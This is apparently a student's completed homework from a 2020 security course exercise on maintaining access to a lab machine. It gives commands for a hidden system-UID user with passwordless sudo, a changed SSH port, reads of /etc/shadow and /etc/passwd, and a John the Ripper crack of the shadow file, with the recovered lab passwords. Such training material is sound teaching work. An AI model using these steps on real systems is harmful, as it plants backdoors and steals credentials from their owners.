## Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- sudo adduser sysd

Reviewed Home folder and did a more /etc/passwd - confirmed on sysd user

2. Give your secret user a password:

- sudo passwd sysd

Halloween

3. Give your secret user a system UID < 1000:

- usermod -ou 900 sysd

4. Give your secret user the same GID:

- groupmod -g 900 sysd

5. Give your secret user full `sudo` access without the need for a password:

- sysd ALL=(ALL:ALL) NOPASSWD:ALL

nano /etc/sudoers

rm -rf ~sysd (command to remove home directory)

6. Test that `sudo` access works without your password:

user sysd may run the following commands on scavenger-hunt:

(ALL : ALL) NOPASSWD: ALL

```bash

Your bash commands here

sudo -l

sudo cat /etc/shadow

sudo cat /etc/passwd

sudo bash

\*\*Step 2: Smooth Sailing\*\*

1. Edit the `sshd\_config` file:

sudo nano /etc/ssh/sshd\_config

```bash

Your bash commands here

#Port 22

Port 2222

#AddressFamily any

#ListenAddress 0.0.0.0

#ListenAddress ::

grep -i port /etc/ssh/sshd\_config

#Port 22

Port 2222

``

\*\*Step 3: Testing Your Configuration Update\*\*

1. Restart the SSH service:

- sudo service ssh restart

2. Exit the `root` account:

- exit

Logout

3. SSH to the target machine using your `sysd` account and port `2222`:

- `ssh sysd@192.168.6.105 -p 2222

4. Use `sudo` to switch to the root user:

- `Your solution command here`

sudo -s

\*\*Step 4: Crack All the Passwords\*\*

1. SSH back to the system using your `sysd` account and port `2222`:

- ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

sudo -s

- `Your solution command here`

sudo john /etc/shadow

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

lakers (turing)

passw0rd (sysadmin)

Halloween (sysd)

sysadmin:passw0rd:18387:0:99999:7:::

mitnik:trustno1:18387:0:99999:7:::

babbage:freedom:18387:0:99999:7:::

lovelace:dragon:18387:0:99999:7:::

stallman:computer:18387:0:99999:7:::

turing:lakers:18387:0:99999:7:::

sysd:Halloween:18555:0:99999:7:::

---

© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.